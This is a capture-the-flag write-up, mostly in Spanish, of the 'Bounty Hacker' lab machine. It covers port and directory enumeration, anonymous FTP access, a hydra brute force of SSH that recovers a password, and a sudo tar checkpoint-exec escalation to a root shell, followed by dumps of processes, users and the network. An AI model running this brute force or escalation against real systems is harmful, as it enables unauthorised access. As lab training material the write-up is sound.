



# Bounty Hacker

You talked a big game about being the most elite hacker in the solar system. Prove it and claim your right

## Enumeration

### Enumeration NMAP

```
sudo nmap -A -p- -sV -sS 10.10.32.151
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-17 05:06 EDT
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.40% done; ETC: 05:17 (0:10:00 remaining)
Stats: 0:02:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 24.84% done; ETC: 05:16 (0:07:25 remaining)
Nmap scan report for 10.10.32.151 (10.10.32.151)
Host is up (0.055s latency).
Not shown: 55529 filtered tcp ports (no-response), 10003 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: TIMEOUT
| ftp-syst:
|  STAT:
| FTP server status:
|   Connected to ::ffff:10.18.47.211
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 4
|   vsFTPD 3.0.3 - secure, fast, stable
|_ End of status
22/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|  256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.18 (Ubuntu)
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Infomir MAG-250 set-top box (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 5.1 (90%), Ubiquiti AirOS 5.5.9 (90%), Linux 5.0 - 5.4 (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

TRACEROUTE (using port 49466/tcp)

HOP RTT ADDRESS

1 55.67 ms 10.18.0.1 (10.18.0.1)

2 58.35 ms 10.10.32.151 (10.10.32.151)

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 445.39 seconds

### Gobuster

#### Gobuster enumeración de directorios

```
(kali@kali)-[~]
$ gobuster dir -u http://10.10.32.151/ -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.32.151/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2022/06/17 06:03:31 Starting gobuster in directory enumeration mode

/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/images (Status: 301) [Size: 313] [→ http://10.10.32.151/images/]
/index.html (Status: 200) [Size: 969]
/server-status (Status: 403) [Size: 277]

2022/06/17 06:03:58 Finished
```

No se han obtenido directorios interesantes en la enumeracion.

# Dirb

Se han enumerado los directorios con la herramienta dirb sin obtener informacion relevante.

```
(kali@kali)-[~]
$ dirb http://10.10.32.151/ -w /usr/share/wordlists/dirb/common.txt -R

_____|_____|
DIRB v2.22
By The Dark Raver
_____|_____|

START_TIME: Fri Jun 17 06:05:54 2022
URL_BASE: http://10.10.32.151/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Interactive Recursion
OPTION: Not Stopping on warning messages
_____|_____|

GENERATED WORDS: 4612

— Scanning URL: http://10.10.32.151/ —
⇒ DIRECTORY: http://10.10.32.151/images/
+ http://10.10.32.151/index.html (CODE:200|SIZE:969)
+ http://10.10.32.151/server-status (CODE:403|SIZE:277)

— Entering directory: http://10.10.32.151/images/ —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
(?) Do you want to scan this directory (y/n)? y
→ Testing: http://10.10.32.151/images/.hta

_____|_____|

END_TIME: Fri Jun 17 06:14:53 2022
DOWNLOADED: 9224 - FOUND: 2
```



## Other Services

### FTP

#### FTP Anonymous

Se tiene acceso al FTP con la sesion de Anonymous.

Al acceder nos encontramos dos archivos con extnsion .txt:

```
(kali@kali)-[~/Desktop]
$ ftp Anonymous@10.10.32.151
Connected to 10.10.32.151.
220 (vsFTPD 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||17662|)
ftp: Can't connect to `10.10.32.151:17662': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |*****| 68 1.14 KiB/s sy 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.59 KiB/s)
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |*****| 418 6.97 KiB/s sy 00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (3.36 KiB/s)
ftp> █
```

Al mostrar los contenidos de los archivos podemos comprobar que el archivo task esta escrito por Lin y el archivo locks nos proporciona una lista de lo que parecen ser contraseñas con esto podremos realizar un ataque hydra basandonos en el usuario lin y la lista locks.txt.

### SSH

Al realizar el ataque con hydra obtenemos la contraseña para acceder por SSH:

```
(kali@kali)-[~/Desktop]
$ hydra -l lin -P locks.txt ssh://10.10.32.151
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
ganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-17 05:43:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks
: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous ses
sion found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.32.151:22/
[22][ssh] host: 10.10.32.151 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-17 05:43:16
```

Con los contraseña obtenida la utilizamos para acceder a traves de SSH:

```

(kali@kali)-[~/Desktop]
$ ssh lin@10.10.32.151
The authenticity of host '10.10.32.151 (10.10.32.151)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.32.151' (ED25519) to the list of known hosts.
lin@10.10.32.151's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM [REDACTED]
lin@bountyhacker:~/Desktop$

```

Aquí podremos obtener la primera flag de user.txt.

## Exploitation

Una vez dentro del usuario lin podremos comprobar los permisos que tiene para realizar acciones de sudo:

```

lin@bountyhacker:/$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar

```

Podemos ver que tiene la capacidad de usar /bin/tar

Con esto podremos realizar una escalada de privilegios para llegar a obtener la última bandera de esta máquina root.txt:

```

lin@bountyhacker:/$ cd root
-bash: cd: root: Permission denied
lin@bountyhacker:/$ ^C
lin@bountyhacker:/$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading '/' from member names
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
THM [REDACTED]
#

```

### Exploit Code Used

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

### Proof\Local.txt File

☒ Screenshot with ifconfig\ipconfig

```
# ifconfig
eth0: Link encap:Ethernet  HWaddr 02:80:91:b3:61:cb
      inet addr:10.10.32.151  Bcast:10.10.255.255  Mask:255.255.0.0
      inet6 addr: fe80::80:91ff:feb3:61cb/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
      RX packets:233607 errors:0 dropped:0 overruns:0 frame:0
      TX packets:11641 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:10334493 (10.3 MB)  TX bytes:1336151 (1.3 MB)

lo:    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:65536  Metric:1
      RX packets:182 errors:0 dropped:0 overruns:0 frame:0
      TX packets:182 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:14071 (14.0 KB)  TX bytes:14071 (14.0 KB)

#
```

## *Post Exploitation*

## *Host Information*

### Operating System

```
# lsb_release -d
Description:  Ubuntu 16.04.6 LTS
#
```



# Running Processes

## Process List

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	0.4	1.1	119840	5424	?	Ss	04:02	0:19	/sbin/init splash
root	2	0.0	0.0	0	0	?	S	04:02	0:00	[kthreadd]
root	4	0.0	0.0	0	0	?	I<	04:02	0:00	[kworker/0:0H]
root	6	0.0	0.0	0	0	?	I<	04:02	0:00	[mm_percpu_wq]
root	7	0.0	0.0	0	0	?	S	04:02	0:00	[ksoftirqd/0]
root	8	0.0	0.0	0	0	?	I	04:02	0:00	[rcu_sched]
root	9	0.0	0.0	0	0	?	I	04:02	0:00	[rcu_bh]
root	10	0.0	0.0	0	0	?	S	04:02	0:00	[migration/0]
root	11	0.0	0.0	0	0	?	S	04:02	0:00	[watchdog/0]
root	12	0.0	0.0	0	0	?	S	04:02	0:00	[cpuhp/0]
root	13	0.0	0.0	0	0	?	S	04:02	0:00	[kdevtmpfs]
root	14	0.0	0.0	0	0	?	I<	04:02	0:00	[netns]
root	15	0.0	0.0	0	0	?	S	04:02	0:00	[rcu_tasks_kthre]
root	16	0.0	0.0	0	0	?	S	04:02	0:00	[kauditd]
root	17	0.0	0.0	0	0	?	S	04:02	0:00	[xenbus]
root	18	0.0	0.0	0	0	?	S	04:02	0:00	[xenwatch]
root	20	0.0	0.0	0	0	?	S	04:02	0:00	[khungtaskd]
root	21	0.0	0.0	0	0	?	S	04:02	0:00	[oom_reaper]
root	22	0.0	0.0	0	0	?	I<	04:02	0:00	[writeback]
root	23	0.0	0.0	0	0	?	S	04:02	0:00	[kcompactd0]
root	24	0.0	0.0	0	0	?	SN	04:02	0:00	[ksmd]
root	25	0.0	0.0	0	0	?	I<	04:02	0:00	[crypto]
root	26	0.0	0.0	0	0	?	I<	04:02	0:00	[kintegrityd]
root	27	0.0	0.0	0	0	?	I<	04:02	0:00	[kblockd]
root	28	0.0	0.0	0	0	?	I<	04:02	0:00	[ata_sff]
root	29	0.0	0.0	0	0	?	I<	04:02	0:00	[md]
root	30	0.0	0.0	0	0	?	I<	04:02	0:00	[edac-poller]
root	31	0.0	0.0	0	0	?	I<	04:02	0:00	[devfreq_wq]
root	32	0.0	0.0	0	0	?	I<	04:02	0:00	[watchdogd]
root	35	0.0	0.0	0	0	?	S	04:03	0:00	[kswapd0]
root	36	0.0	0.0	0	0	?	I<	04:03	0:00	[kworker/u31:0]
root	37	0.0	0.0	0	0	?	S	04:03	0:00	[ecryptfs-kthrea]
root	79	0.0	0.0	0	0	?	I<	04:03	0:00	[kthrotld]
root	80	0.0	0.0	0	0	?	I<	04:03	0:00	[acpi_thermal_pm]
root	81	0.0	0.0	0	0	?	S	04:03	0:00	[scsi_eh_0]
root	82	0.0	0.0	0	0	?	I<	04:03	0:00	[scsi_tmf_0]
root	83	0.0	0.0	0	0	?	S	04:03	0:00	[scsi_eh_1]
root	84	0.0	0.0	0	0	?	I<	04:03	0:00	[scsi_tmf_1]
root	90	0.0	0.0	0	0	?	I<	04:03	0:00	[ipv6_addrconf]
root	99	0.0	0.0	0	0	?	I<	04:03	0:00	[kstrp]
root	116	0.0	0.0	0	0	?	I<	04:03	0:00	[charger_manager]
root	174	0.0	0.0	0	0	?	I<	04:03	0:00	[ttm_swap]
root	200	0.0	0.0	0	0	?	S	04:03	0:00	[jbd2/xvda1-8]
root	201	0.0	0.0	0	0	?	I<	04:03	0:00	[ext4-rsv-conver]
root	211	0.0	0.0	0	0	?	I<	04:03	0:00	[kworker/0:1H]
root	243	0.0	0.5	27804	2884	?	Ss	04:03	0:01	/lib/systemd/systemd-journald
root	268	0.0	0.7	45344	3920	?	Ss	04:03	0:01	/lib/systemd/systemd-udev
systemd+	366	0.0	0.5	102384	2468	?	Ssl	04:03	0:00	/lib/systemd/systemd-timesyncd
root	726	0.0	0.2	4396	1248	?	Ss	04:03	0:00	/usr/sbin/acpid
root	727	0.0	0.6	28620	3024	?	Ss	04:03	0:00	/lib/systemd/systemd-logind
message+	732	0.0	0.8	43624	4096	?	Ss	04:03	0:01	/usr/bin/dbus-daemon --system --address=



root	757	0.0	0.5	16128	2852 ?	Ss	04:03	0:00	/sbin/dhclient -1 -v -pf /run/dhclient.eth
root	822	0.0	1.2	282948	6032 ?	Ssl	04:03	0:00	/usr/lib/accountsservice/accounts-daemon
avahi	823	0.0	0.6	44912	3248 ?	Ss	04:03	0:00	avahi-daemon: running [bountyhacker.local]
syslog	824	0.0	0.5	256396	2804 ?	Ssl	04:03	0:00	/usr/sbin/rsyslogd -n
root	838	0.0	2.4	382356	12228 ?	Ssl	04:03	0:01	/usr/sbin/NetworkManager --no-daemon
root	844	0.0	0.5	36076	2924 ?	Ss	04:03	0:00	/usr/sbin/cron -f
avahi	849	0.0	0.0	44784	320 ?	S	04:03	0:00	avahi-daemon: chroot helper
root	927	0.0	1.5	278768	7704 ?	Ssl	04:03	0:01	/usr/lib/policykit-1/polkitd --no-debug
root	952	0.0	1.2	350516	5892 ?	Ssl	04:03	0:00	/usr/sbin/lightdm
root	977	0.0	10.5	337068	51980 tty7	Ssl+	04:03	0:03	/usr/lib/xorg/Xorg -core :0 -seat seat0 -a
root	984	0.0	0.5	24048	2588 ?	Ss	04:03	0:00	/usr/sbin/vsftpd /etc/vsftpd.conf
root	993	0.0	1.1	65512	5788 ?	Ss	04:03	0:00	/usr/sbin/sshd -D
whoopsie	1014	0.0	1.8	269232	8848 ?	Ssl	04:04	0:00	/usr/bin/whoopsie -f
root	1032	0.0	0.3	23004	1700 tty1	Ss+	04:04	0:00	/sbin/agetty --noclear tty1 linux
root	1034	0.0	0.4	22820	2212 ttyS0	Ss+	04:04	0:00	/sbin/agetty --keep-baud 115200 38400 9600
root	1062	0.0	0.9	71584	4864 ?	Ss	04:04	0:00	/usr/sbin/apache2 -k start
root	1131	0.0	1.2	226180	6216 ?	Sl	04:04	0:00	lightdm --session-child 16 19
lightdm	1134	0.0	0.8	45300	4352 ?	Ss	04:04	0:00	/lib/systemd/systemd --user
lightdm	1135	0.0	0.3	63456	1676 ?	S	04:04	0:00	(sd-pam)
lightdm	1142	0.0	0.1	4504	844 ?	Ss	04:04	0:00	/bin/sh /usr/lib/lightdm/lightdm-greeter-s
lightdm	1147	0.0	0.6	42992	3284 ?	Ss	04:04	0:00	/usr/bin/dbus-daemon --fork --print-pid 5
lightdm	1148	0.1	12.5	1027508	61520 ?	Sl	04:04	0:07	/usr/sbin/unity-greeter
lightdm	1154	0.0	1.1	337984	5704 ?	Sl	04:04	0:00	/usr/lib/at-spi2-core/at-spi-bus-launcher
lightdm	1164	0.0	0.6	42764	3400 ?	S	04:04	0:00	/usr/bin/dbus-daemon --config-file=/etc/at
lightdm	1181	0.0	1.0	206972	5072 ?	Sl	04:04	0:00	/usr/lib/at-spi2-core/at-spi2-registryd --
lightdm	1187	0.0	1.2	281484	6140 ?	Sl	04:04	0:00	/usr/lib/gvfs/gvfsd
lightdm	1192	0.0	0.9	341328	4524 ?	Sl	04:04	0:00	/usr/lib/gvfs/gvfsd-fuse /run/user/108/gvf
lightdm	1202	0.0	0.9	178532	4564 ?	Sl	04:04	0:00	/usr/lib/dconf/dconf-service
root	1207	0.0	0.9	82708	4860 ?	S	04:04	0:00	lightdm --session-child 12 19
lightdm	1210	0.0	0.8	53024	4316 ?	S	04:04	0:00	upstart --user --startup-event indicator-s
lightdm	1212	0.0	6.2	600740	30784 ?	Sl	04:04	0:02	nm-applet
lightdm	1217	0.0	1.3	361468	6580 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-messag
lightdm	1218	0.0	0.8	414168	4136 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-bluet
lightdm	1219	0.0	1.5	427732	7672 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-power/
lightdm	1220	0.0	2.5	546888	12660 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-dateti
lightdm	1221	0.0	5.8	570764	28552 ?	Ssl	04:04	0:03	/usr/lib/x86_64-linux-gnu/indicator-keyboa
lightdm	1222	0.0	1.9	741996	9368 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-sound/
lightdm	1231	0.0	4.9	625984	24288 ?	Sl	04:04	0:01	/usr/lib/unity-settings-daemon/unity-setti
lightdm	1239	0.0	1.2	632248	6280 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-sessio
lightdm	1257	0.0	2.5	403148	12676 ?	Ssl	04:04	0:00	/usr/lib/x86_64-linux-gnu/indicator-applic
lightdm	1267	0.0	2.1	485016	10344 ?	S<l	04:04	0:00	/usr/bin/pulseaudio --start --log-target=s
rtkit	1268	0.0	0.6	183544	3140 ?	SNsl	04:04	0:00	/usr/lib/rtkit/rtkit-daemon
root	1291	0.0	1.8	345860	9272 ?	Ssl	04:04	0:00	/usr/lib/upower/upowerd
colord	1302	0.0	2.0	308204	10192 ?	Ssl	04:04	0:00	/usr/lib/colord/colord
www-data	1450	0.0	0.9	492588	4540 ?	Sl	04:08	0:01	/usr/sbin/apache2 -k start
www-data	1451	0.0	0.8	558196	4128 ?	Sl	04:08	0:01	/usr/sbin/apache2 -k start
root	1533	0.0	1.4	100348	7148 ?	Ss	04:08	0:00	/usr/sbin/cupsd -l
root	1534	0.0	1.9	274816	9364 ?	Ssl	04:08	0:00	/usr/sbin/cups-browsed
root	1827	0.0	0.0	0	0 ?	I	04:18	0:00	[kworker/0:1]
root	1834	0.0	0.0	0	0 ?	I	04:19	0:00	[kworker/u30:2]
root	1859	0.0	0.0	0	0 ?	I	04:33	0:00	[kworker/u30:1]

  

root	1950	0.0	0.0	0	0 ?	I	04:42	0:00	[kworker/0:0]
root	1958	0.0	1.3	94928	6748 ?	Ss	04:44	0:00	sshd: lin [priv]
lin	1960	0.0	0.9	45300	4544 ?	Ss	04:44	0:00	/lib/systemd/systemd --user
lin	1961	0.0	0.3	145384	1864 ?	S	04:44	0:00	(sd-pam)
lin	1990	0.0	0.7	94928	3492 ?	S	04:44	0:00	sshd: lin@pts/8
lin	1991	0.0	1.0	29692	5168 pts/8	Ss	04:44	0:00	-bash
root	2013	0.0	0.8	61860	4028 pts/8	S	04:56	0:00	sudo tar -cf /dev/null /dev/null --checkpo
root	2014	0.0	0.6	36220	3044 pts/8	S	04:56	0:00	tar -cf /dev/null /dev/null --checkpoint=1
root	2015	0.0	0.3	4504	1584 pts/8	S	04:56	0:00	/bin/sh
root	2040	0.0	0.6	44432	3360 pts/8	R+	05:20	0:00	ps aux

## Users & Groups

### Users



```

# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
ftp:x:121:129:ftp daemon,,,:/srv/ftp:/bin/false
lin:x:1001:1001:Lin,,,:/home/lin:/bin/bash
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
#

```

## Groups

```
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:pulse
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
systemd-bus-proxy:x:105:
input:x:106:
crontab:x:107:
syslog:x:108:
netdev:x:109:
messagebus:x:110:
uidd:x:111:
ssl-cert:x:112:
lpadmin:x:113:
lightdm:x:114:
nopasswdlogin:x:115:
ssh:x:116:
whoopsie:x:117:
mlocate:x:118:
avahi-autoipd:x:119:
avahi:x:120:
bluetooth:x:121:
scanner:x:122:saned
colord:x:123:
pulse:x:124:
pulse-access:x:125:
rtkit:x:126:
saned:x:127:
smbshare:x:128:
ftp:x:129:
lin:x:1001:
#
```



# Network

## IPConfig\IFConfig

```
# ifconfig
eth0: Link encap:Ethernet HWaddr 02:80:91:b3:61:cb
      inet addr:10.10.32.151 Bcast:10.10.255.255 Mask:255.255.0.0
      inet6 addr: fe80::80:91ff:feb3:61cb/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
      RX packets:233607 errors:0 dropped:0 overruns:0 frame:0
      TX packets:11641 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:10334493 (10.3 MB) TX bytes:1336151 (1.3 MB)

lo: Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:65536 Metric:1
      RX packets:182 errors:0 dropped:0 overruns:0 frame:0
      TX packets:182 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:14071 (14.0 KB) TX bytes:14071 (14.0 KB)

#
```

## Network Processes

Proto	RefCnt	Flags	Type	State	I-Node	Path
unix	2	[ ]	DGRAM		27203	/run/user/1001/systemd/notify
unix	2	[ ]	DGRAM		21299	/run/user/108/systemd/notify
unix	3	[ ]	DGRAM		13887	/run/systemd/notify
unix	2	[ ]	DGRAM		13888	/run/systemd/cgroups-agent
unix	14	[ ]	DGRAM		13895	/run/systemd/journal/dev-log
unix	8	[ ]	DGRAM		13897	/run/systemd/journal/socket
unix	2	[ ]	DGRAM		13903	/run/systemd/journal/syslog
unix	3	[ ]	STREAM	CONNECTED	27233	
unix	3	[ ]	STREAM	CONNECTED	19356	
unix	3	[ ]	STREAM	CONNECTED	22036	
unix	3	[ ]	STREAM	CONNECTED	21588	
unix	3	[ ]	STREAM	CONNECTED	21836	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	15738	
unix	3	[ ]	STREAM	CONNECTED	21590	
unix	3	[ ]	STREAM	CONNECTED	27187	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	21148	@/tmp/.X11-unix/X0
unix	2	[ ]	DGRAM		14478	
unix	3	[ ]	STREAM	CONNECTED	22099	
unix	3	[ ]	STREAM	CONNECTED	21580	
unix	2	[ ]	DGRAM		21290	
unix	3	[ ]	STREAM	CONNECTED	21439	
unix	3	[ ]	STREAM	CONNECTED	22241	
unix	3	[ ]	STREAM	CONNECTED	21591	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	18187	
unix	3	[ ]	STREAM	CONNECTED	22242	/var/run/dbus/system_bus_socket
unix	2	[ ]	DGRAM		21174	
unix	3	[ ]	STREAM	CONNECTED	21645	
unix	3	[ ]	STREAM	CONNECTED	21398	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	22128	
unix	3	[ ]	STREAM	CONNECTED	21831	
unix	3	[ ]	STREAM	CONNECTED	22100	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	21598	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	15774	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	19370	/var/run/dbus/system_bus_socket
unix	3	[ ]	STREAM	CONNECTED	22090	
unix	3	[ ]	STREAM	CONNECTED	21653	
unix	3	[ ]	STREAM	CONNECTED	17594	
unix	3	[ ]	STREAM	CONNECTED	18493	
unix	3	[ ]	STREAM	CONNECTED	22230	
unix	3	[ ]	STREAM	CONNECTED	21772	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	21183	
unix	3	[ ]	STREAM	CONNECTED	21825	
unix	3	[ ]	STREAM	CONNECTED	21832	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	22037	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	21581	@/tmp/dbus-INTtRPfIPF
unix	3	[ ]	STREAM	CONNECTED	17669	/var/run/dbus/system_bus_socket
unix	3	[ ]	DGRAM		15064	
unix	3	[ ]	STREAM	CONNECTED	22130	
unix	3	[ ]	STREAM	CONNECTED	21826	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	DGRAM		15065	

```

unix 2 [ ] DGRAM 27328
unix 3 [ ] STREAM CONNECTED 14586
unix 3 [ ] STREAM CONNECTED 22033 @/tmp/dbus-pmtrmqSxL0
unix 3 [ ] STREAM CONNECTED 21800
unix 3 [ ] STREAM CONNECTED 22343 /run/systemd/journal/stdout
unix 3 [ ] STREAM CONNECTED 22129 @/tmp/dbus-INTtRPfIPF
unix 3 [ ] STREAM CONNECTED 18316 /run/systemd/journal/stdout
unix 3 [ ] STREAM CONNECTED 22231 /run/systemd/journal/stdout
unix 3 [ ] STREAM CONNECTED 21571 /run/systemd/journal/stdout
unix 3 [ ] STREAM CONNECTED 21835
unix 3 [ ] STREAM CONNECTED 18315
